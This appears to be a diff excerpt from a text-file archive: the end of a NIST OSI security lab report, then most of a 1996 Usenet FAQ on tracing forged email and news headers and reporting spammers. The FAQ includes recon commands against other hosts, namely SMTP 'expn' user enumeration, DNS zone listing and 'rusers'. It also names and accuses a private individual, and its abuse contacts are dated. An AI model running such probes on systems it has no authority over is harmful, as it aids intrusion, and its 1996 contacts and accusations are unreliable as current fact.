the raised floor, was completed on April 30, +1988. + +A layout for computers and workstations for the laboratory was developed by +NIST engineers. Meetings were held with representatives of four suppliers +of computer furniture to discuss requirements and estimated costs. + +Final installation of the furniture and telecommunications center was +completed in August 1988. Lines for three phones were also installed that +same month. + +Following completion of all renovation work, a Sun model 3/50 workstation +was installed in the laboratory. Additional computer equipment installed on +the 802.3 LAN in the OSI Security Laboratory includes: + + . Sun model 3/280 system - to be used for monitoring data packets + during interoperability tests + + . Sun model 3/260 system - to be used for developing the NIST SP4 + reference implementation + + . Two IBM PC/RT's + + . Digital VAX station and two DESNC encryption boxes + + . Hughes Aircraft Company SP4 implementation using an IBM PC. + + + + APPENDIX 2 OSI SECURITY LAB GUIDELINES + + +1) All documentation, software, and hardware used in the lab will be +unclassified. + +2) All NIST personnel who receive any proprietary products must, before +their receipt, be informed of the proprietary nature of the product. + +3) NIST will provide reasonable protection for all proprietary information, +hardware, software, and documentation including locked storage cabinets and +a Cipher lock on the door of the lab. + +4) Hardware loaned to NIST will be afforded reasonable protection against +theft, damage, and destruction. Maintenance of the equipment will be +provided by the vendors in accordance with the vendor agreements. + +5) Equipment provided by the vendors will be used in interoperability +demonstrations conducted in the Security Lab. Equipment will be +demonstrated only with permission of the vendor. + +6) Failures that occur during the interoperability demonstrations will not be +disclosed to other than the technical representatives of the vendor of the +device being demonstrated. + +7) NIST will destroy any proprietary software stored in any CPU or other +storage medium which cannot be returned to the vendor after completion of +the demonstrations. +. + + + + APPENDIX 3 NIST SP4 DEMONSTRATION AGREEMENTS + ........................................................................................................ +Downloaded From P-80 International Information Systems 304-744-2253 diff --git a/textfiles.com/internet/spamfaq.txt b/textfiles.com/internet/spamfaq.txt new file mode 100644 index 00000000..9b56e94a --- /dev/null +++ b/textfiles.com/internet/spamfaq.txt @@ -0,0 +1,1083 @@ + +Archive-name: net-abuse-faq/spam-faq +Posting-Frequency: monthly +Last-modified: 960708 +URL: http://digital.net/~gandalf/spamfaq.html + +Greetings and Salutations: + +The three sections to this eight portion FAQ (With apologies to +Douglas Adams :-)) : + + o Introduction + o Tracing an e-mail message + o MAILING LIST messages + o Reporting Spam and tracing a posted message + o What is an IP address and converting an IP address + o WWW IP Lookup URL's + o Converting that IP to a name + o A list of provider complaint addresses + o Filtering E-Mail using procmail or News with Gnus + o Misc. (Because I can't spell miscellaneous :-)) stuff + I couldn't think to put anywhere else. + o Origins of Spam + o The MMF (Make Money Fast) Posts or any fraud on the +Internet + o Those annoying 1-900 & 1-800 Sex Phone Ads + o How To Respond to SPAM + o Revenge - What to do & not to do (mostly not) + o Telephoning someone + o Snail Mailing someone + + Introduction +============================================ +This is addition to the most excellent: + +Net Abuse FAQ (posted to news.admin.net-abuse.misc, alt.current- +events.net-abuse etc...), brought to you by J.D. Falk + : +http://www.cybernothing.org/faqs/net-abuse-faq.html + +Or : + +http://NCTUCCCA.Edu.Tw/ftp/documents/Internet/MaasInfo/Other/NetAbuse. +html +http://NCTUCCCA.Edu.Tw/ftp/documents/Internet/MaasInfo/Other/BadISPs.h +tml +http://NCTUCCCA.Edu.Tw/ftp/documents/Internet/MaasInfo/Other/EmailAbus +eLog.html + +And Bill's WWW page "Everything You'd Rather Not Have To Know About +Net-Abuse" : +http://www.tezcat.com/~haz1/netabuse/netabuse.html + +The latest & greatest version of this FAQ will be found at: + +http://digital.net/~gandalf/spamfaq.html + +Or the archive at: +ftp://rtfm.mit.edu/pub/usenet/alt.spam/ + +Or with other abuse FAQ's at: +ftp://rtfm.mit.edu/pub/usenet-by-hierarchy/news/admin/net-abuse/misc/ + +Or *nicely* HTML'ed at: +http://www.cs.ruu.nl/wais/html/na-dir/net-abuse-faq/spam-faq.html + +PLEASE email follow-ups, additions / changes to gandalf@digital.net + +My news source is OK, but I sometimes miss items. + +There are places in this FAQ with ALL CAPS. This is where I need some +help or input. I accept all and any input. I consider myself to be +the manager of this FAQ for the good of everyone, not the absolute & +controlling Owner Of The FAQ. I do not always write in a completely +coherent manner. What makes sense to me may not make sense to others. +If the community wants something added or deleted, I will do so. I +removed any e-mail and last name references to someone making a +suggestion / addition. This is so that someone doesn't get upset at +this FAQ and do something stupid. If you don't mind having your e- +mail in this FAQ (or where it is required), please tell me and I will +add it back in. + +First off, before trying to determine where the post or e-mail +originated from, you should realize that (just like the National +Inquirer, or a logical argument from C&S) the message will have *some* +amount of truth, but all or most of the information may be forged. Be +careful before accusing someone. + +Commands used in this FAQ are UNIX & VMS commands. Sorry if they +don't work for you, you might wish to try looking around at your +commands to find an equivalent command (or I might be able to help out +some). + +And no, I am not going to tell you how to post a fake message or fake +e-mail. It only took me about 2 days (a few hours a day) to figure it +out. It ain't difficult. RTFM (or more appropriately, Read The +@&%^@# RFC). + +Every e-mail or post will have a point at which it was injected into +the information stream. E-mail will have a real computer from which +it was passed along. Likewise a post will have a news server that +started passing the post. You need to get cooperation of the +postmaster at the sites the message passed thru. Then you can get +information from the logs telling you what sites the message actually +passed thru, and where the message "looked" like it passed thru (but +actually didn't). Of course you do have to have the cooperation of +all the postmasters in a string of sites... + + Tracing an e-mail message +============================================ + +Fight unsolicited e-mail and mailing list vendors : +http://host.ptbo.igs.net/~shawn/junkmail.html + +First (and easiest) thing to forge is the e-mail return address. Most +personal computer posting software lets you type in just about any e- +mail address you want to (for example the software I am using to post +this message). Unless someone is a real idiot or they truly don't +know they will annoy tons of people, they will forge a fake e-mail +return or put in the e-mail of someone they don't like. + +It seems that most machines will accept e-mail from any other machine, +so don't send e-mail to postmasters at "upstream" sites that are just +passing the message along. + +You will need to take a look at the headers on the message (if you +can) In PINE (for example) hit "h" to get headers. Look for a line +like the following: + +Message-ID: + +You should look at the message ID first & see what site it appeared to +come from (the part after the "@" sign). If it is a bunch of numbers +(an IP address) then you should then do a "nslookup" (see further +below for a description of nslookup) to see what the site name is. +Furthermore all the message-ID lines should have a unique number. If +not then you have someone who is *very* familiar with the SMTP +protocol and is forging the e-mail to another site (like the Euphoria +Tape spammer). Sometimes this header will even tell you who the +message actually came from. + +From the below, the only way we can tell the origin site is in the +Message-Id (which has an IP of 204.183.126.181) is to do a nslookup on +the IP address, and proceed from there. + +>Received: from [199.3.242.38] (ppp007.free.org [199.3.242.38]) by +>sirocco.CC.McGill.CA (8.6.12/8.6.6) with SMTP id EAA16681; Sat, 11 +Nov 1995 +>04:50:30 -0500 +>X-SMTP-Posting-Origin: [199.3.242.38] (ppp007.free.org +[199.3.242.38]) +>X-Sender: yoshio@osak.ac.jp (Unverified) +>Message-Id: + +Sample fake e-mail message : + +From A@b.c.d Sat Nov 11 13:16 EST 1995 +Received: from wavenet.com (wavenet.com [198.147.118.131]) by +ddi.digital.net (8.6.11/8.6.9) with ESMTP id NAA04656 for +; Sat, 11 Nov 1995 13:16:03 -0500 +Received: from ddi.digital.net (ddi.digital.net [198.69.104.2]) by +wavenet.com (8.6.12/8.6.9) with SMTP id KAA27279 for +gandalf@ddi.digital.net; Sat, 11 Nov 1995 10:27:52 -0800 +Received: from wavenet.com (wavenet.com [198.147.118.131]) by +ddi.digital.net (8.6.11/8.6.9) with ESMTP id OAA18017 for +; Tue, 24 Oct 1995 14:09:46 -0400 +Received: from inetlis.wavenet.com (port16.wavenet.com +[198.147.118.209]) by wavenet.com (8.6.12/8.6.9) with SMTP id LAA02685 +for ; Tue, 24 Oct 1995 11:21:12 -0700 + +This is a mail message I sent to myself just to use as an example. I +have cut out a bit of the other header information so that I could +take a look at just the important parts. + +Obvious faked piece is the "From" address. You read the headers from +the bottom to the top to trace which sites the message has gone thru. + +Make sure that you do a nslookup on the IP address's (for example I +would verify 198.147.118.131 actually is wavenet.com). If the IP +doesn't jive with the name then you may have the IP address of the e- +mail faker. This message decodes to the following + +port16.wavenet.com = 198.147.118.209 +wavenet.com = 198.147.118.131 +ddi.digital.net = 198.69.104.2 + +From site To site Date / Time (delta GMT) + Time in GMT hh:mm:ss +============================================================== +inetlis.wavenet.com wavenet.com Tue, 24 Oct 1995 11:21:12 -0700 + 18:21:12 +wavenet.com ddi.digital.net Tue, 24 Oct 1995 14:09:46 -400 + 18:09:46 +ddi.digital.net wavenet.com Sat, 11 Nov 1995 10:27:52 -800 + 18:27:52 +wavenet.com ddi.digital.net Sat, 11 Nov 1995 13:16:03 -500 + 18:16:03 + +Wolfgang Schelongowski reminds us : +The first is hh:mm.ss WULT (WULT == Widely Unknown Local Time :-)) +with a delta from GMT, so you add in the delta to get a "zero" time. +The time is from the computer transmitting, so it is possible to have +the clocks several minutes apart. +GMT = Greenwich Mean Time. The "time" was kept at RGO (Royal +Greenwich Observatory?), Greenwich England at one time and is also +known as UTC (UTC = Coordinated Universal Time, or Universal +Coordinated Time) or "Zulu" or Zero time. It is kept by the UK +National Physical Laboratory, and is no longer at the RGO (Royal +Greenwich Observatory?). + +I manually inserted the first two mail transfers myself (as you can +see from the date / times) to muddy the waters. It looks like this +message originated from inetlis.wavenet.com, when in reality it came +from ddi.digital.net. The date / time (in this case) tells you that +something is wrong, but sometimes a computer may be down along the way +which would hold up the mail. + +You really need cooperation from other people & get multiple messages +to compare the headers. There will be a common "injection" point. +Whether it is the starting point or in the middle. Ask that +postmaster to look thru the logs & figure out who sent that e-mail. +Someone from the first common injection point "From" site spammed out +the e-mail. + +It has been kindly pointed out to me that there is a "feature" (read +"bug") in the UNIX mail spool wherein the person e-mailing you a +message can append a "message" (with the headers) to the end of their +message. It makes the mail reader think you have 2 messages when the +joker that sent the original message only sent one message (with a +fake message appended). If the headers look *really* screwy, you +might look at the message before the screwy message and consider if it +may not be a "joke" message. + + MAILING LIST messages +======================================== +Stephanie kindly tells me : + +A MAILING LIST is a type of email distribution in which email is sent +to a fixed site which holds a list of email recipients and mail is +distributed to those recipients automatically (or through a +moderator). + +A LISTSERVER is a software program designed to manage one or more +mailing lists. One of the more popular packages is named "LISTSERV". +Besides Listserv, other popular packages include Listproc which is a +Unix Listserv clone (Listservs originated on BITNET), Majordomo and +Mailserve. Most importantly -- not all mailing lists run on +listservers, there are many mailing lists that are manually managed. + +You may hear of mailing lists being referred to as many things, some +strange, some which on the surface make sense, like "email discussion +groups". But this isn't accurate either, since not all mailing lists +are set up for discussion. + +Example Header appears below: +Received: from dir.bham.ac.uk (dir.bham.ac.uk [147.188.128.25]) by +gol1.gol.com (8.7.5/8.6.9) with SMTP id GAA27292 for ; +Sun, 5 May 1996 06:31:15 +0900 (JST) +Received: from bham.ac.uk by dir.bham.ac.uk with SMTP (PP) using DNS +id <26706-38@dir.bham.ac.uk>; Sat, 4 May 1996 20:56:49 +0100 +Received: from emout09.mail.aol.com (actually emout09.mx.aol.com) by +bham.ac.uk with SMTP (PP); Sat, 4 May 1996 21:13:03 +0100 +Received: by emout09.mail.aol.com (8.6.12/8.6.12) id PAA29156; Sat, 4 +May 1996 15:35:53 -0400 +Date: Sat, 4 May 1996 15:35:53 -0400 +From: Jeanchev@aol.com +Message-ID: <960504153553_287142426@emout09.mail.aol.com> +Subject: CRaZy Complimentary Offer........ + +This is a post from Kevin Lipsitz for his "===>> FREE 1 yr. USA +Magazine Subscriptions". Reports are that he doesn't provide very +good service after the sale of the subscription (that is if you even +get a magazine). In relation to the Internet he makes a slimy used +car salesman look like a saint. We won't even start to discuss the +fact the he likes to use female names for his messages... + +The latest information indicates that the state of New York has told +him he should stop abusing the Internet for a while ... lets hope it +is forever. + +For more info about "Krazy Kevin" or the Magazine Spam , Tony tells us +the page "Stop Spam!" is available in html format at: +http://www.iac.co.jp/~issho/stop-spam.html + +But as David reminds us, There are a million Kevin J. Lipsitz's out +there. All selling magazines, Amway, vitamins, phone service, etc. +All the losers who want to get rich quick, but can't start their own +business. +Like : +http://com.primenet.com/spamking/ + +That having been said, e-mail from a Listserve can usually be broken +down the same way as "normal" e-mail headers. There are just more +waypoints along the way. As you can see from the above, the e-mail +originated from : + +emout09.mail.aol.com + +You might with to also direct the listserve owner to look at & ask +questions in news.admin.net-abuse.misc about how to keep spam off the +listserve. It probably won't be all that difficult of a thing to do. + + Reporting Spam and tracing a posted message +============================================ +The first thing to do is to post the ENTIRE message (PLEASE put the +header in) to the newsgroup news.admin.net-abuse.misc with the +suggested subject of one of the following: + +Subject: EMP +Subject: ECP +Subject: MMF + +Please include the original Subject: from the original Spam so that it +can easily be spotted. Thank you. + +An Excessive Multiple Post may exceed the spam threshold and may be +canceled. An Excessive Cross Post may not be canceled because it +hasn't reached the threshold. A Make Money Fast message is +immediately cancelable. + +Tracing a fake post is probably easier than a fake e-mail because of +some posting peculiarities. You just have to save and look at a few +"normal" posts to try to spot peculiarities. Most people are not +energetic to go to the lengths of the below, but you never know. + +Dan reminds us that first you should gather the same post from +*several* different sites (get your friends to mail the posts to you) +and look at the "Path" line. Somewhere it should "branch". If there +is a portion that is common to all posts, then the "actual" posting +computer is (most likely) in that portion of the path. That should be +the starting postmaster to contact. Be sure to do this expeditiously +because the log files that help to trace these posts may be deleted +daily. + +Once again, start by looking at the Message-ID, and ask yourself if +that site makes sense. Again, look at the number after the Message-ID +and see if it is identical for several *different* posts (i.e. posts +to different groups). Message-ID's are unique for each *different* +post. If the Message-ID is the same, then it is faked. If you +*really* want to see some fake posts, look in alt.test or in the +alt.binaries.wares.* groups. + +A fake post: + +Path: +..!news.sprintlink.net!in2.uu.net!news.net99.net!news!s46.phxslip4.in +direct.com!vac +From: XXX@indirect.com(Female User) +Subject: Femdom In Search of Naughty Boys +Message-ID: +Sender: XXX@indirect.com(Female User) +Nntp-Posting-Host: s46.phxslip4.indirect.com +Organization: Internet Direct, Inc. +X-Newsreader: Trumpet for Windows[Version 1.0 Rev B final beta #1] +Date: Mon, 6 Nov 1995 01:59:38 GMT +Approved: XXX@indirect.com +Lines: 13 + +This poor lady (Name deleted by suggestion) was abused by someone for +a couple of days in an epic spam. Many messages were gathered. The +message ID was different for several messages. But several anomalies +showed an inept poster. + +The headers were screwed up, and when looking at a selection of +messages from several sites, the central site was news.net99.net, +where goodnet.com gets / injects news at. This lead to the conclusion +that either goodnet.com or news.net99.net should be contacted to see +who the original spammer was. I never heard the results of this, but +the spamming eventually stopped. + +E-Mail return is probably the easiest to fake and is * always * +suspect. The NNTP-Posting-Host and / or Message-ID are harder to fake +(but not *much* harder...) and probably deserve a closer look at those +sites. + +You can try looking at sites & see if they have that message by : +telnet s46.phxslip4.indirect.com 119 +Connected to s46.phxslip4.indirect.com. +200 s46.phxslip4.indirect.com InterNetNews server INN 1.4 22-Dec-93 +ready +head +430 + +Message was not found at that site, so it did not go thru that +computer, or the article has already expired or been deleted off of +that news reader. + +If you wish to track a particular phrase, user-id (whatever) take a +look at the URL for getting all the posts pertaining to "X" : + +http://www.reference.com/ + + What is an IP address and converting an IP address +============================================ +When all you have is a number the looks like "204.183.126.181", and no +computer name, then you have to figure out what the name of that +computer is. Most likely if you complain to +"postmaster@204.183.126.181" it will go directly to the spammer +themselves (if it goes anywhere at all). + + WWW IP Lookup URL's +============================= +A whole *host* of WWW IP utils is thoughtfully provided by Mike at : +http://sh1.ro.com/~mprevost/netutils/netutils.html +Or for a WWW Traceroute you can try the URL : +http://webware-inc.com/wtr.html +For a WWW version of Dig : +http://sh1.ro.com/~mprevost/netutils/dig.html ) +WWW Nslookup : http://thor.clr.com/nslookup.html +SWITCH WHOIS Gateway: +http://www.switch.ch/switch/info/whois_form.html +TIG Internet Domain-Name Database : +http://home.tig.com/cgi-bin/genobject/domaindb +IP to Lat - Lon (For those times when only a Tactical Nuke will do ;- +)) : +http://cello.cs.uiuc.edu/cgi-bin/slamm/ip2ll/ +http://www-pablo.cs.uiuc.edu/~slamm/ip2ll/links.html +Yet Another IP to name: +http://cello.cs.uiuc.edu/cgi-bin/slamm/ip2name +Yet another Domain Name lookup: +http://www.imperative.com/cgi-bin/genobject/index2 then click on the +domain database lookup + +Converting that IP to a name +============================= +If the site is a IP address like "127.0.0.0", you can do a DNS lookup +to backtrack the site. A DNS lookup or a host command (see example +below) uses the info in a Domain Name Server database. This is the +same info that is used for packet routing. The UNIX command is : + +nslookup 198.41.0.5 + +And you get : +Name: RS.INTERNIC.NET +Addresses: 198.41.0.5, 198.41.0.6 + +InterNIC is your friend. The InterNIC Registration Services Host +contains ONLY Internet Information (Networks, ASN's, Domains, and +POC's). Please use the whois server at nic.ddn.mil for MILNET +Information. Try : + +telnet rs.internic.net +whois 198.41.0.5 + +If that doesn't provide anything, try chopping off the last digits and +you might get: +Whois: 204.162.179 +BBN BARRNET, Inc. (NETBLK-NETBLK-BARRNET4) NETBLK-BARRNET4 +204.160.0.0 - 204.163.255.0 +Slip.Net (NETBLK-NETBLK-SLIP) NETBLK-SLIP 204.162.160.0 - +204.162.191.0 + +Success! BARRNet has the blocks of the IP's. + +John tells us : +Um yes, but that particular sub-block belongs to slip.net... barrnet +is obviously slip.net's provider, the barrnet block looks like 4 class +B's (or 256 THOUSAND IP's..), while the slip.net block is a mere 32 +class C's (or 8 thousand IP's)... +So a whois NETBLK-SLIP gives us (among other information) : +Slip.Net (NETBLK-NETBLK-SLIP) + Netname: NETBLK-SLIP + Netblock: 204.162.160.0 - 204.162.191.0 + +To see who the upstream provider is, try : + +multinet traceroute ip30.abq-dialin.hollyberry.com + +You might get : +traceroute to IP30.ABQ-DIALIN.HOLLYBERRY.COM (165.247.201.30), 30 hops +max, 38 byte packets + 1 cpe2.Washington.mci.net (192.41.177.181) 190 ms 210 ms 120 ms + 2 borderx1-hssi2-0.Washington.mci.net (204.70.74.101) 100 ms 100 +ms 60 ms + 3 core-fddi-0.Washington.mci.net (204.70.2.1) 180 ms 130 ms 70 ms + 4 core1-hssi-4.LosAngeles.mci.net (204.70.1.177) 150 ms 140 ms +150 ms + 5 core-hssi-4.Bloomington.mci.net (204.70.1.142) 180 ms 200 ms +180 ms + 6 border1-fddi-0.Bloomington.mci.net (204.70.2.130) 170 ms 290 ms +240 ms + 7 internet-direct.Bloomington.mci.net (204.70.48.30) 300 ms 210 ms +270 ms + 8 165.247.70.1 (165.247.70.1) 180 ms 240 ms 180 ms + 9 abq-phx-gw1.indirect.com (165.247.202.253) 290 ms 220 ms 230 ms +10 * * * + +Humm..... Seems that after abq-phx-gw1.indirect.com we get no +response, so *that* is who I would complain to... or you can just send +a message to postmaster@indirect.com. + +JamBreaker sez : Be sure to let the traceroute go until the traceroute +stops after 30 hops or so. A reply of "* * *" doesn't mean that +you've got the right destination; it just means that either the +gateways don't send ICMP "time exceeded" messages or that they send +them with a ttl (time-to-live) too small to reach you. + +Try 'dig' (or one of its derivatives), it is used to search DNS +records : +(For the software : http://www.rediris.es/ftp/infoiris/red/ip/dns/dig- +2.0/ + +yourhost> dig -x 38.11.185.89 + +; <<>> dig 2.0 <<>> -x +;; ->>HEADER<<- opcode: QUERY , status: NOERROR, id: 6 +;; flags: qr aa rd ra ; Ques: 1, Ans: 1, Auth: 3, Addit: 3 +;; QUESTIONS: +;; 89.185.11.38.in-addr.arpa, type = ANY, class = IN + +;; ANSWERS: +89.185.11.38.in-addr.arpa. 86400 PTR +ip89.albuquerque.nm.interramp.com. + +;; AUTHORITY RECORDS: +11.38.in-addr.arpa. 86400 NS ns.psi.net. +11.38.in-addr.arpa. 86400 NS ns2.psi.net. +11.38.in-addr.arpa. 86400 NS ns5.psi.net. + +;; ADDITIONAL RECORDS: +ns.psi.net. 86400 A 192.33.4.10 +ns2.psi.net. 86400 A 38.8.50.2 +ns5.psi.net. 86400 A 38.8.5.2 + +;; Sent 1 pkts, answer found in time: 64 msec +;; FROM: (yourhostname) to SERVER: default -- (yourDNSip) +;; WHEN: Thu Nov 16 23:30:42 1995 +;; MSG SIZE sent: 43 rcvd: 216 + + + A list of provider complaint addresses +============================================ +O.K... So you have a common site that you can complain to. Good. +Post the FULL HEADERS (this is *very* important for tracing) to +news.admin.net-abuse.misc (see the section entitled Reporting Spam and +tracing a posted message) and send complaint with FULL HEADERS in e- +mail to any or all of the below : + +postmaster@spammer.site.net +admin@spammer.site.net +abuse@spammer.site.net + +Note : abuse@site.net and admin@site.net are not "standard" complaint +e-mail addresses, but I have seen those listed more and more +frequently. + +If the spammer site has problems trying to figure out where the spam +came from, they can *always* get help from the denizens of +news.admin.net-abuse.misc, but have them take a look at their logs +first and see if they see something like (Thanks to help from +Michael): + +My news logs (for INND) are: +$ cd /usr/log/news +$ ls +OLD expire.log news.err unwanted.log +errlog news news.notice +expire.list news.crit nntpsend.log + +and here is my syslog.conf: +## news stuff +news.crit /usr/log/news/news.crit +news.err /usr/log/news/news.err +news.notice /usr/log/news/news.notice +news.info /usr/log/news/news +news.debug /usr/log/news/news.debug + +but, what they need to remember, is they HAVE TO LOOK QUICK!. INND +expire puts all these logs in OLD, and recycles them, and expires them +at the 7th day (and gzips them), i.e., OLD/: +ls -l news.?.* +-r--r----- 1 news news 181098 May 23 06:26 news.1.gz +.. +-r--r----- 1 news news 319343 May 17 06:29 news.7.gz + +so... to grep an old log looking for sfa.ufl.edu: +(the {nn} is how many days ago, 1 is yesterday, 2 is 2 days ago, etc) +cd {log/OLD} +gunzip -c news.1.gz | grep sfa.ufl.edu | more + + +There is a list of admins to contact at (and a way to add to the +list): +http://www.gil.net/~infoline/abusebox.html + +Chris tells us : +If you see MMFs or other gross abuses from AOL, MSN, MCI +(_not_internetmci), Primenet, Panix, please do not report them to +news.admin.net-abuse.misc. Just wastes bandwidth. Email your report +directly to the provider: + + abuse@aol.com + postmaster@msn.com + postmaster@mci.com + postmaster@primenet.com + postmaster@panix.com + +By "gross abuses", please try to ensure that it really is likely to be +spam. Not one article cross-posted lots, but lots of articles that +you see yourself. In AOL or MCI's case, the definition of abuse is +somewhat stricter (AOL bans commercial use. MCI's tolerance +thresholds is lower) + +For the following providers the correct e-mail address is: +ABSnet - abs-admin@abs.net +AOL - abuse@aol.com. Emergency - send complete copies to +atropos@aol.net +AT&T Worldnet sources- wnettech@attmail.com +earthlink.net - abuse@earthlink.net +GNN.Com - For help regarding a problem with a GNN member - +GNNadvisor@gnn.com. +Hongkong's ISPs - send an email to hkinet@glink.net.hk with anything +in the subject/body. You'll get a most recent version of the list +contacts by email within minutes. +IBM Net - Postmaster@ibm.net - Also see +http://www.ibm.net/helpdesk.html +InterRamp.Com - abuse@interramp.com +interserve.com.hk - Mr. K H Lee - khlee@interserve.com.hk. +MCI Net - postmaster@internetMCI.COM . Per Joel ( Postmaster@mci.net +) 800-977-iNOC is staffed 24 hours a day. Complaints regarding +Internet abuse are taken seriously at MCI. +MCI spam alert to MCI.NET: spamcomplaints@mci.net + Note : If the Spam crosses MCI lines, Contact security@mci.com if +the headers in a Usenet or Email spam indicate that it had something +to do with MCI or its lines. +MCSNet - support@mcs.net +Netcom- abuse@netcom.com for standard SPAM junk. security@netcom.com +is for instances of forgery, cracking etc. +PSI Net - schoff@PSI.COM - From announce@support.psi.com PSI Net +policies - http://www.pipeline.com, http://www.usa.pipeline.com, +http://www.interramp.com +Slip Net - hellman@slip.net - Tech Support +Teleport System Administration - teleport.com - admin@teleport.com +UUNET Customer Liaison - help@uunet.uu.net + +From : David Jackson (djackson@aol.net) (and this applies to *any* +abuse) : +To report an instance of USENET abuse send mail to postmaster@aol.com +- please remember to include a complete copy of the USENET article, +including all headers, to help us quickly quash the abuse. + +Scott reminds us : +It might also be a good idea to remind people that sometimes the +postmaster _is_ the spammer. Joe Spam might have his own domain (since +they _used_ to be free) inside of which they are the postmaster. This +is terrifyingly common with net.twits (kooks, etc.) but seems rare for +spam. A quick note that if the spammer is the admin contact in whois, +notifying the postmaster will surely generate laughs on their end. + +If you don't get a proper response from the postmaster, remember, +Whois - rs.internic.net is your friend. You can get information on / +about a site by: + +telnet rs.internic.net +whois spammer.site.net + +The InterNIC Registration Services Host contains ONLY Internet +Information (Networks, ASN's, Domains, and POC's). Please use the +whois server at nic.ddn.mil for MILNET Information. + +This *should* get you a person to talk to & their personal e-mail +address. If you don't get any response from that postmaster, then you +should try the provider to that site. This gets a little trickier, +but a multinet traceroute should show you the upstream provider, and +from there you can try contacting the postmasters of *that* site. + +Worst case, a site can be UDP (Usenet Death Penalty) out so that other +sites stop accepting news or even e-mail from that site. They are cut +off from the net. Decisions like this are discussed in the news group +news.admin.net-abuse.misc . + +Thanx to Leslie, whom to contact about domains that have invalid +contact information : +Internic Registration Services should be contacted by phone: + 703/742-4777 + or email: + hostmaster@rs.internic.net + +If you think you know a machine close to the spammer, you can change +your default DNS lookup server (and get *lots* more info ;-)) by : +$ nslookup +> server wb3ffv.abs.net +Default Server: wb3ffv.abs.net +Address: 206.42.80.130 +> ls -d kjl.com +[wb3ffv.abs.net] + kjl.com. SOA kjl.com dns-admin.abs.net. (10 +21600 3600604800 86400) + kjl.com. NS ns1.abs.net + kjl.com. NS ns2.abs.net + kjl.com. MX 10 abs.net + kjl.com. SOA kjl.com dns-admin.abs.net. (10 +21600 3600604800 86400) + +If you are quick enough, you can see if the spammer is still on by : + +multinet RUSERS rust.nmt.edu + +And you might get : + +kuller ray timbers jweinman timbers john timbers rayzer + +Assuming that the spammer is from ingress.com you can expand the +Spammers UserID (some sites have expn / vrfy turned off) by: + +> telnet ingress.com smtp +Trying 199.171.57.2 ... +Connected to ingress.com. +Escape character is '^]'. +220 ingress.com Sendmail 4.1/SMI-4.1 ready at Sun, 22 Oct 95 15:13:39 +EDT +expn krazykev +250 Lipsitz Kevin + +We connect to port 25 (smtp) and issues an expn command. Looks like +krazykev@kjl.com is being used as a maildrop for this user. I'll +would send my complaint to postmaster@kjl.com as well (not that it +would do any good in Krazy Kevin's case... but the reply to your e- +mail might be amusing). + +To find out the Mail Exchange records, do a nslookup for the MX +records only. You can then look up the expansion of the postmaster or +root to see who they really are. For example : +% nslookup +> set type=mx +> gnn.com + +gnn.com preference = 20, mail exchanger = mail-e1a.gnn.com +gnn.com preference = 10, mail exchanger = mail-e1b.gnn.com + +% telnet mail-e1a.gnn.com smtp +220 mail-e1a.gnn.com ESMTP Sendmail 8.7.1/8.6.9 ready at Thu, 11 Jan +1996 12:54:26 -0500 (EST) +expn postmaster +250- +250 +expn root +250- +250 + +You can use the 'host' command. It's really simple: +% host -t any domain.name + +This will give you anything your name server can find out. + +% host -t ns domain.name + +This tells you the name servers. Not all systems have host, but it's a +small program which should be easy to compile (like whois). + +The command "last" will tell where the spammer logged on from last, +but it has to be done by a user from that site. For example : + +last imrket4u + +Would produce : + +imrket4u ttypf ip30.abq-dialin.hollyberry.com Fri Sep 15 00:27 +- 00:34 (00:06) +imrket4u ttyq8 ip30.abq-dialin.hollyberry.com Fri Sep 15 00:19 +- 00:20 (00:01) +imrket4u ttyqc abq-ts1 Thu Sep 14 20:42 - 22:21 +(01:39) +imrket4u ttyqc rust.nmt.edu Thu Sep 14 18:39 - 18:41 +(00:01) +imrket4u ttypb abq-ts1 Thu Sep 14 17:55 - 17:57 +(00:02) + + +Filtering E-Mail using procmail or News with Gnus +================================================== + +Get the procmail FAQ : + +http://www.jazzie.com/ii/faqs/archive/mail/filtering-faq/ +http://www.jazzie.com/ii/internet/mailbots.html +http://www.cis.ohio-state.edu/hypertext/faq/usenet/mail/filtering- +faq/faq.html + +Or read about it when it is posted to : +Newsgroups: comp.mail.misc , comp.mail.elm , comp.mail.pine , +comp.answers , news.answers +Subject: Filtering Mail FAQ + +Brian has a Gnus scorefile from the Internet blacklist : +http://www.cs.ubc.ca/spider/edmonds/usenet/gnus/BLACKLIST + +Or his example global scorefile : +http://www.cs.ubc.ca/spider/edmonds/usenet/gnus/SCORE + +Many news readers have a "kill" file that will filter out the posts +from either a certain user-id, or posts with certain titles. Each +news reader is unique. You might wish to read the help file on the +subject of kill files. + + Misc. +================================= + Origins of Spam +====================== +The history of calling inappropriate postings in great numbers "Spam" +is from a Monty Python skit (yes, it is very silly...) where a couple +go into a restaurant, and try to get something other than Spam. In +the background are a bunch of Vikings that sing the praises of Spam. +Pretty soon the only thing you can hear in the skit is the word +"Spam". That same idea would happen to the Internet if large scale +inappropriate postings were allowed. You couldn't pick the real +postings out from the Spam. + +Black listed Internet Advertisers : +http://math-www.uni-paderborn.de/~axel/BL/ (Europe) + or +http://www.cco.caltech.edu/~cbrown/BL/ (USA) + +First off, the only CORRECT way to "Spam" the net : +Show SPAM Gifts http://wolf.co.net/spamgift/index.html + +A collection of Spam links : +http://www.io.org/~spamily/Spam.html +http://wheel.dcn.davis.ca.us/~sean/spam/spam-faq.html +http://semantic.rsi.com/spam/ + +The Church of Spam : +http://www.goodnet.com/~swiggy/ + +Come visit Beiner's SPAM-O-RAMA at: +http://www.geocities.com/Hollywood/6274 + + +The MMF (Make Money Fast) Posts or any fraud on the Internet +================================================================ +Rolf has created a page dedicated to making fun of MMF losers : +http://www.clark.net/pub/rolf/mmf/home.html + +There is a WWW site dedicated to *any* kind of fraud. It is : +A partnership of the National Association of Attorneys General, the +Federal Trade Commission and The National Consumers League +http://www.fraud.org/ + +Wolfgang Schelongowski sez :IMHO MMF is associated +with "Hello, my name is Dave Rhodes. In 198...". +There was also a forged article purporting to tell how MMF is illegal +: + From: purvis@hoover.fbi.gov (Melvin Purvis) + ^^^^^^^^^^^^^ he arrested / shot John +Dillinger. + Subject: 'Make Money Fast' Scam + +Jon said : "Hermann" appears to have spammed at least 27 Bitnet +mailing lists, including TANGO-L, where I saw it, with a standard MMF. +I checked at the US Post Office web site and verified that chain +letters are federal crimes under Title 18, United State Code, Section +1302. This does apply to email as well as paper; quoting from URL + +From http://www.usps.gov/websites/depart/inspect/chainlet.htm : +"Recently, high-tech chain letters have begun surfacing. They may be +disseminated over the Internet, or may require the copying and mailing +of computer disks rather than paper. Regardless of what technology is +used to advance the scheme, if the mail is used at any step along the +way, it is still illegal." +To find your nearest postal inspector in the USA, see URL + 